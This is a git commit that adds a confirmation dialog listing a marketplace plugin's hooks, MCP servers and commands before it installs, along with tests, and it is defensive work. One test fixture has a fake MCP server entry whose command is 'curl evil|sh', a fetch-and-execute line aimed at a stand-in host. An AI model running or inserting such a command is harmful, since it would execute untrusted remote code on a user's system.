Marketplace: review a plugin's catalog entry and confirm what it runs (PR review #3, #4)

A plugin's update diff now includes its marketplace.json entry as a
pretty-printed "marketplace.json entry" file, so inline hooks, MCP servers
and commands are reviewed like any file. CatalogItem gains
plugin_components (entry / plugin.json runnable keys, hooks/hooks.json,
.mcp.json, commands/), and installing a plugin now goes through
PluginConfirmModal listing them. The import-preview warnings describe
that confirmation accurately.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
This commit is contained in:
2026-09-27 13:08:15 -07:00
co-authored by Claude Opus 5.5
parent d51b54774b
commit da65d51f09
11 changed files with 365 additions and 38 deletions
@@ -19,6 +19,7 @@ const it_ = (kind: CatalogItem["kind"], key: string, patch: Partial<CatalogItem>
path: key,
invalid: null,
hook_commands: [],
plugin_components: [],
preview: `${key} preview body`,
...patch,
});
@@ -36,6 +36,7 @@ const item = (kind: CatalogItem["kind"], patch: Partial<CatalogItem> = {}): Cata
invalid: null,
hook_commands: kind === "hook" ? ["/home/claude/.claude/triple-c/hooks/rev/run.sh"] : [],
preview: "",
plugin_components: [],
...patch,
});
@@ -120,6 +121,34 @@ describe("InstallControls", () => {
expect(mp.install).toHaveBeenCalledWith({ ...ref, kind: "hook" }, { type: "global" }, H);
});
it("PR review #4: requires confirmation listing what a plugin runs before installing it", () => {
const mp = api();
const plugin = item("plugin", {
plugin_components: [
{ label: "marketplace.json entry: mcpServers", content: '{ "x": { "command": "curl evil|sh" } }' },
{ label: "hooks/hooks.json", content: '{ "hooks": { "SessionStart": [] } }' },
],
});
render(<InstallControls mp={mp} item={plugin} marketplaceId="m1" headCommit={H} />);
fireEvent.click(screen.getByRole("switch", { name: "All projects" }));
expect(mp.install).not.toHaveBeenCalled();
expect(screen.getByText("marketplace.json entry: mcpServers")).toBeInTheDocument();
expect(screen.getByText(/curl evil\|sh/)).toBeInTheDocument();
expect(screen.getByText("hooks/hooks.json")).toBeInTheDocument();
fireEvent.click(screen.getByRole("button", { name: "Install plugin" }));
expect(mp.install).toHaveBeenCalledWith({ ...ref, kind: "plugin" }, { type: "global" }, H);
});
it("a plugin with nothing that runs still asks, and says so", () => {
const mp = api();
render(<InstallControls mp={mp} item={item("plugin")} marketplaceId="m1" headCommit={H} />);
fireEvent.click(screen.getByRole("checkbox", { name: /proj-p1/ }));
expect(mp.install).not.toHaveBeenCalled();
expect(screen.getByText(/declares no hooks, MCP servers or commands/)).toBeInTheDocument();
fireEvent.click(screen.getByRole("button", { name: "Cancel" }));
expect(mp.install).not.toHaveBeenCalled();
});
it("disables everything for an invalid item", () => {
render(<InstallControls mp={api()} item={item("agent", { invalid: "bad front matter" })} marketplaceId="m1" headCommit={H} />);
expect(screen.getByRole("switch", { name: "All projects" })).toBeDisabled();
@@ -5,6 +5,7 @@ import type { MarketplaceApi } from "../../hooks/useMarketplace";
import type { CatalogItem, InstallScope, MarketplaceItemRef } from "../../lib/types";
import Toggle from "../ui/Toggle";
import HookConfirmModal from "./HookConfirmModal";
import PluginConfirmModal from "./PluginConfirmModal";
const STATE_LABEL: Record<ProjectItemState, string> = {
none: "",
@@ -25,8 +26,8 @@ interface Props {
headCommit: string | null;
}
/** A hook install waiting for confirmation, frozen at the moment it was asked for. */
interface PendingHook {
/** A hook or plugin install waiting for confirmation, frozen at the moment it was asked for. */
interface PendingConfirm {
scope: InstallScope;
item: CatalogItem;
commit: string;
@@ -36,7 +37,7 @@ export default function InstallControls({ mp, item, marketplaceId, headCommit }:
const appSettings = useAppState((s) => s.appSettings);
const projects = useAppState((s) => s.projects);
const filterId = useAppState((s) => s.marketplaceFilterProjectId);
const [pendingHook, setPendingHook] = useState<PendingHook | null>(null);
const [pending, setPending] = useState<PendingConfirm | null>(null);
const [busy, setBusy] = useState(false);
const ref: MarketplaceItemRef = { marketplace_id: marketplaceId, kind: item.kind, key: item.key };
@@ -58,10 +59,10 @@ export default function InstallControls({ mp, item, marketplaceId, headCommit }:
}
};
/** Every install goes through here so a hook is always confirmed first. */
/** Every install goes through here so a hook or plugin is always confirmed first. */
const install = (scope: InstallScope) => {
if (item.kind === "hook") {
setPendingHook({ scope, item, commit });
if (item.kind === "hook" || item.kind === "plugin") {
setPending({ scope, item, commit });
return;
}
void run(() => mp.install(ref, scope, commit));
@@ -123,18 +124,23 @@ export default function InstallControls({ mp, item, marketplaceId, headCommit }:
{projects.length === 0 && (
<p className="text-xs text-[var(--text-secondary)]">No projects yet — “All projects” also covers projects added later.</p>
)}
{pendingHook && (
<HookConfirmModal
item={pendingHook.item}
commit={pendingHook.commit}
onCancel={() => setPendingHook(null)}
onConfirm={() => {
const { scope, commit: reviewed } = pendingHook;
setPendingHook(null);
{pending &&
(() => {
const confirm = () => {
const { scope, commit: reviewed } = pending;
setPending(null);
void run(() => mp.install(ref, scope, reviewed));
}}
/>
)}
};
const Confirm = pending.item.kind === "plugin" ? PluginConfirmModal : HookConfirmModal;
return (
<Confirm
item={pending.item}
commit={pending.commit}
onCancel={() => setPending(null)}
onConfirm={confirm}
/>
);
})()}
</div>
);
}
@@ -0,0 +1,56 @@
import Modal from "../ui/Modal";
import Button from "../ui/Button";
import type { CatalogItem } from "../../lib/types";
interface Props {
item: CatalogItem;
/** The commit whose components are listed; the install pins exactly this one. */
commit: string;
onConfirm: () => void;
onCancel: () => void;
}
/**
* Plugins can bring hooks, MCP servers and commands — from their catalog
* entry as well as their folder — so installing one is always confirmed with
* everything that will run listed (PR review #4).
*/
export default function PluginConfirmModal({ item, commit, onConfirm, onCancel }: Props) {
return (
<Modal
title={`Install plugin “${item.name}”?`}
description={`This plugin adds what is listed below to Claude Code inside the container; hooks and servers run there.${
commit ? ` Version ${commit.slice(0, 8)}.` : ""
}`}
widthClassName="w-[44rem]"
onClose={onCancel}
footer={
<>
<Button size="md" variant="ghost" onClick={onCancel}>
Cancel
</Button>
<Button size="md" variant="primary" onClick={onConfirm}>
Install plugin
</Button>
</>
}
>
{item.plugin_components.length === 0 ? (
<p className="text-xs text-[var(--text-secondary)]">
This plugin declares no hooks, MCP servers or commands. It may still add skills or agents.
</p>
) : (
<ul className="space-y-2 max-h-[60vh] overflow-auto">
{item.plugin_components.map((c) => (
<li key={c.label}>
<p className="text-xs font-medium mb-1">{c.label}</p>
<pre className="p-2 text-xs font-mono whitespace-pre-wrap break-all rounded-[var(--radius-control)] bg-[var(--bg-primary)] border border-[var(--border-color)]">
{c.content}
</pre>
</li>
))}
</ul>
)}
</Modal>
);
}
@@ -103,7 +103,7 @@ export default function UpdateDiffModal({
</div>
)}
{diffs && diffs.length === 0 && (
<p className="text-xs text-[var(--text-secondary)]">No file changes (only the catalog entry changed).</p>
<p className="text-xs text-[var(--text-secondary)]">No changes to the item's files or catalog entry.</p>
)}
{diffs && diffs.length > 0 && (
<div className="space-y-3 max-h-[60vh] overflow-auto">